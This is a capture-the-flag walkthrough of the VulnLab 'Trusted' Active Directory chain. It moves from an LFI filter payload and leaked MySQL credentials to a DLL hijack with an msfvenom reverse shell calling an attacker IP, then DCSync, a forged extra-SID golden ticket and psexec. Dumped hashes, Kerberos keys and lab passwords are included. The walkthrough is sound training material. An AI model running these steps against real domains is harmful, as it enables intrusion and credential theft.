Trusted is an Active Directory Chain from VulnLab that starts with an LFI leading to MySQL database Access. Then, it follows with a compromise of the child domain and a bidirectional child to parent domain trust exploitation.

Enumeration

Scan for 10.10.152.117 machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT      STATE    SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-25 17:23:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
15289/tcp filtered unknown
27105/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49690/tcp open msrpc Microsoft Windows RPC
54258/tcp open msrpc Microsoft Windows RPC
54907/tcp open msrpc Microsoft Windows RPC
55168/tcp filtered unknown
58346/tcp filtered unknown
59443/tcp open msrpc Microsoft Windows RPC
64014/tcp filtered unknown
Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft

Scan for 10.10.152.118 machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-25 17:31:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49368/tcp open msrpc Microsoft Windows RPC
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
53399/tcp open msrpc Microsoft Windows RPC
63593/tcp open msrpc Microsoft Windows RPC
Service Info: Host: LABDC; OS: Windows; CPE: cpe:/o:microsoft:windows

We start by visiting the web server hosted on port 80 of the 10.10.152.118 machine, and we are in front of of the XAMPP dashboard page

So, we decide to perform directory enumeration on the web server, as follows:

1
gobuster dir -u http://10.10.152.118/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 

LFI

As we can see, the /dev folder gives access to a webpage

While checking each link in the navbar separately, we stumbled upon a potentially vulnerable lfi parameter. And knowing from the initial scan that this web server is a windows server, then we tried to access the C:\xampp\apache\conf\httpd.conf file, which was successful.

However, in the /dev home page there was an interesting note indicating an issue with a database connection php file, which will help us find our next step for initial access, knowing that there is an MySQL server on this machine.

So we enumerate the /dev webpage for php files in order to search for that database connection file, as follows:
gobuster dir -u http://10.10.226.198/dev/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30 -x php

The next step is to exploit the LFI to access the db.php file from the web server. To do that, we only have to base64 encode the output of that file, as follows:
http://10.10.226.198/dev/index.html?view=php://filter/convert.base64-encode/resource=db.php

MySQL Credentials:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$servername = "localhost";
$username = "root";
$password = "SuperSecureMySQLPassw0rd1337.";

$conn = mysqli_connect($servername, $username, $password);

if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
?>base64: invalid input

Using these credentials, we successfully accessed the MariaDB database

1
mysql -u "root" -p  -h 10.10.226.198 

By enumerating the databases in the mysql server, we decided to enumerate the news database for its users table and found the following credentials

Using hashcat with the rockyou.txt wordlist, we only arrived to crack the first MD5 hash of rsmith which appears to be a valid domain user of the lab.trusted.vl domain

1
crackmapexec smb 10.10.226.197-198 -u "rsmith" -p "IHateEric2" 

Lab.Trusted.VL domain enumeration

1
bloodhound-python -u rsmith -p "IHateEric2" -d lab.trusted.vl -c all -v -ns 10.10.226.198  

We can see that from rsmith* we have to forcechangepassword on ewalters to get a foothold into LABDC.lab.trusted.vl

1
net rpc password "ewalters" "P@ssword2024" -U "lab.trusted.vl"/"rsmith"%"IHateEric2" -S "LABDC.lab.trusted.vl"

We can see that the password successfully changed

Afterwards, we PsRemote into the DC as ewalters
evil-winrm -u "lab.trusted.vl\ewalters" -p "P@ssword2024" -i 10.10.226.198

DLL Hijacking

We stumble upon KasperskyRemoval.exe which appears to be run as cpowers (Christine) which should be our next user to be compromised.

We decide to copy that executable to our local Windows Machine and use Procmon to check for the executable behaviour.

After running it, we apply a filter for Kaspersky Removal in Procmon.

And a filter for dll files only within that process

Scrolling through the DLL files loaded by that process, we found that it calls for DLLs within the local executable path (In this case inside the Desktop folder) with NAME_NOT_FOUND. This supposes that we can insert our own DLL file inside that folder to perform DLL Hijacking.

For that purpose, we additionally added a filter for the unfound DLLs that could be hijacked

This leaves us with the KasperkyRemovalToolENU.dll, so using msfvenom we will create a new DLL with the same name KasperkyRemovalToolENU.dll inside the local directory

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.76 LPORT=80 -f dll -o KasperskyRemovalToolENU.dll

After executing the KasperskyRemovalTool.exe we get a new shell session running as cpowers

We can access the User.txt on the Administrator’s Desktop folder
VL{349efd4b1ccbeb4d3ca0108fa5cc5802}

Domain Trust Exploitation

Using mimikatz, we can dump the logonpasswords including the machine account LABDC$ password for DCSync.

LABDC$:b06fe581ac3e94fd1a9c879b991b78a4

Then we do as follows:

1
secretsdump.py "lab.trusted.vl"/"LABDC$"@10.10.188.22 -hashes ":b06fe581ac3e94fd1a9c879b991b78a4"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Administrator:500:aad3b435b51404eeaad3b435b51404ee:75878369ad33f35b7070ca854100bc07:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a03c565c68c6fac5f8913fab576ebd:::
lab.trusted.vl\rsmith:1104:aad3b435b51404eeaad3b435b51404ee:30ef48d2054363df9244bc0d476e93dd:::
lab.trusted.vl\ewalters:1106:aad3b435b51404eeaad3b435b51404ee:911b07e6987da6cffecc77e71b04aadc:::
lab.trusted.vl\cpowers:1107:aad3b435b51404eeaad3b435b51404ee:322db798a55f85f09b3d61b976a13c43:::
LABDC$:1000:aad3b435b51404eeaad3b435b51404ee:b06fe581ac3e94fd1a9c879b991b78a4:::
TRUSTED$:1103:aad3b435b51404eeaad3b435b51404ee:16c9441c5025a5ad06d6e797ac1867f1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ef0dd1293ef26fdcb054dfecd324e272037f8af708bd2d6289d4010075605eb3
Administrator:aes128-cts-hmac-sha1-96:8487e135528f40d60c99a45b071bbf86
Administrator:des-cbc-md5:b64aef752657b3c8
krbtgt:aes256-cts-hmac-sha1-96:c930ddb15c3f84aafa01e816abc1112e38430b574ae3fcdd019e77bc906494aa
krbtgt:aes128-cts-hmac-sha1-96:db0b41cedf222df3808858fc41bb0c02
krbtgt:des-cbc-md5:0e89167916c134ad
lab.trusted.vl\rsmith:aes256-cts-hmac-sha1-96:b1dd0c20df2dc7638ded51d85ba03682ea308444b4121a10b8e4fa3c24872a41
lab.trusted.vl\rsmith:aes128-cts-hmac-sha1-96:631ba36ba1aaf36135ba4b382dd41590
lab.trusted.vl\rsmith:des-cbc-md5:ae892f45c12fbc5e
lab.trusted.vl\ewalters:aes256-cts-hmac-sha1-96:c50ae21535e4ece5ab0c528325c02d9ccd3b4d0acc7f486c8db7ecacef8c3df4
lab.trusted.vl\ewalters:aes128-cts-hmac-sha1-96:b4e140616f429d5efb9666d3121c598f
lab.trusted.vl\ewalters:des-cbc-md5:853d8cfd89cb3270
lab.trusted.vl\cpowers:aes256-cts-hmac-sha1-96:cfd7dce3d0c1a17ae08fc653769ddd382b116b3708197f5d251764dab318d39e
lab.trusted.vl\cpowers:aes128-cts-hmac-sha1-96:413bcdb4a908e53f133a9c660006c0b9
lab.trusted.vl\cpowers:des-cbc-md5:32ab807a018ac89d
LABDC$:aes256-cts-hmac-sha1-96:1277f83e51903d4f3f75e174e7e9b168fd96c36afb35de5fccfcdfea3d329941
LABDC$:aes128-cts-hmac-sha1-96:788c77b09ac9f25c2c3522613755a9e9
LABDC$:des-cbc-md5:7cdc312351f2baa8
TRUSTED$:aes256-cts-hmac-sha1-96:5d76917db63a810eff649298e96b79a40e54bf17d918df86fb3b53453d331ba2
TRUSTED$:aes128-cts-hmac-sha1-96:cdb7c83c18f17f91fbe615e6a062c11f
TRUSTED$:des-cbc-md5:0d6810c1529b750e

Now the next step will be to become DA on the parent domain trusted.vl that we mapped during our bloodhound enumeration in a child-to-parent domain trust attack

For that we would need the SID of the child and parent domains

1
2
3
lab.trusted.vl:S-1-5-21-2241985869-2159962460-1278545866
trusted.vl:S-1-5-21-3576695518-347000760-3731839591
krtgt AES-128 key: db0b41cedf222df3808858fc41bb0c02
1
ticketer.py -aesKey db0b41cedf222df3808858fc41bb0c02 -domain lab.trusted.vl -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 Administrator

After forging that TGT ticket, we export the ticket to KRB5CCNAME as follows:
export KRBCCNAME=$PWD/Administrator.ccache

1
secretsdump.py "lab.trusted.vl"/"Administrator"@"TRUSTEDDC.trusted.vl" -k -no-pass -target-ip 10.10.188.21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x530e5141735c78552261589aee704a9a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4f0b993922649b613b571e4bfb55e485:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction failed: string index out of range
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:febd83b08d926442f579df8a3a28f3ccb46591cf4a4f19184d1b9a4adc3d68d530bc653da560e60fbca7bc149b82f08aa0e4ed03b1d64199ac7a84ec1b0015fb8fce02ccbc557602f51b45177d748cd859d4e2db4dc827da71a137d80ff497cd9e663c18c94a8d482df767ed26a0bb86f4926bad10de8b31f6cab3c1616791384fd13bb4b0da9a7576f5dfc44d69dff5a2e4cf3b4724657cb835e69f8ee8d7345538fb1c507a86cf7a093b6802502c59b2892af1ebb5105e79680c545e4e44f6b4c185841eb6572817dc509022b3e784f20b735225145827e67cadb167ed84c44edd5034e254b6a1a62a659973c2cf82
TRUSTED\TRUSTEDDC$:aad3b435b51404eeaad3b435b51404ee:2dfbe96194966fce7463b9250cd7de52:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf37b5fe3fdafe3763118fb8f54160a9032202905
dpapi_userkey:0xd7c1f38889ef556a24592852435da02644e038af
[*] NL$KM
0000 B6 96 C7 7E 17 8A 0C DD 8C 39 C2 0A A2 91 24 44 ...~.....9....$D
0010 A2 E4 4D C2 09 59 46 C0 7F 95 EA 11 CB 7F CB 72 ..M..YF........r
0020 EC 2E 5A 06 01 1B 26 FE 6D A7 88 0F A5 E7 1F A5 ..Z...&.m.......
0030 96 CD E5 3F A0 06 5E C1 A5 01 A1 CE 8C 24 76 95 ...?..^......$v.
NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15db914be1e6a896e7692f608a9d72ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d9436aebee2db5c6e4166d5e2472fa2d:::
TRUSTEDDC$:1000:aad3b435b51404eeaad3b435b51404ee:2dfbe96194966fce7463b9250cd7de52:::
LAB$:1103:aad3b435b51404eeaad3b435b51404ee:a8caaf29722c03c1c667ae2f6bb7fce9:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:d75ec7df1acac724a6dfc250e707aab3492b6d9936b9898f742781b0a871d4a6
Administrator:aes128-cts-hmac-sha1-96:1cee32af6e8cd27059d855e6c6b4d5ec
Administrator:des-cbc-md5:aed5e385512c685e
krbtgt:aes256-cts-hmac-sha1-96:3e5bc8a7d01388cdaf4ab8541f4e360d4fd9089723cedfd08f8016b7900ba2bf
krbtgt:aes128-cts-hmac-sha1-96:0c847e33f046419fec204e4187eeb1f4
krbtgt:des-cbc-md5:2943ad0131269702
TRUSTEDDC$:aes256-cts-hmac-sha1-96:e7d540c03ca38911ac61a49024c5d4096ea6df801f859e9568223b699da1ebb6
TRUSTEDDC$:aes128-cts-hmac-sha1-96:73198d572d184425e66158764faa0c93
TRUSTEDDC$:des-cbc-md5:85457c520402326b
LAB$:aes256-cts-hmac-sha1-96:66f8931ee557f6a18ca77b62b33e480d546c222ecbd32f18d77df5e63462e9f7
LAB$:aes128-cts-hmac-sha1-96:7f722032c9cbd325f123ff1c2f25eb25
LAB$:des-cbc-md5:4c7fb94591b667f2

We psexec into the TRUSTEDDC DC:

1
psexec.py "trusted.vl"/"Administrator"@10.10.188.21 -target-ip 10.10.188.21 -hashes ":15db914be1e6a896e7692f608a9d72ef"  

EFS Bypass

However, even though we have System privileges on the machine, we cannot access the root.txt file on the Administrator’s Desktop folder.

The access denied was due to EFS encryption (a Windows feature that allows users to encrypt individual files or folders on their computer so that only authorized users can access them, ensuring that even if someone gains unauthorized access to the physical storage, they cannot read the encrypted files without the decryption key), after running:

The solution was to first change the administrator password net user Administrator Password_123 then use RunasCs to execute the cmd.exe process as the administrator user with his new password

1
.\runasCs.exe Administrator Password_123 "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt"

And we can get the root flag afterwards.